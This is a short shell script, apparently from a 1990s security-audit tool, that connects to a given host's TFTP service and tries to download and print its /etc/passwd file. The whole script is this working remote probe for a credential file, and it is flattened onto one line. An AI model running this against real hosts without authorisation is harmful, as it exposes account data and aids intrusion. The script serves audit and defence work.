#!/bin/sh # from itod v1.0 - copyright (c) alec muffett, 1996 host=$1 file=/tmp/tftpw$$ tftp </dev/null 2>&1 connect $host mode binary rexmt 15 timeout 30 get /etc/passwd $file quit EOT test -s $file && cat $file rm -f $file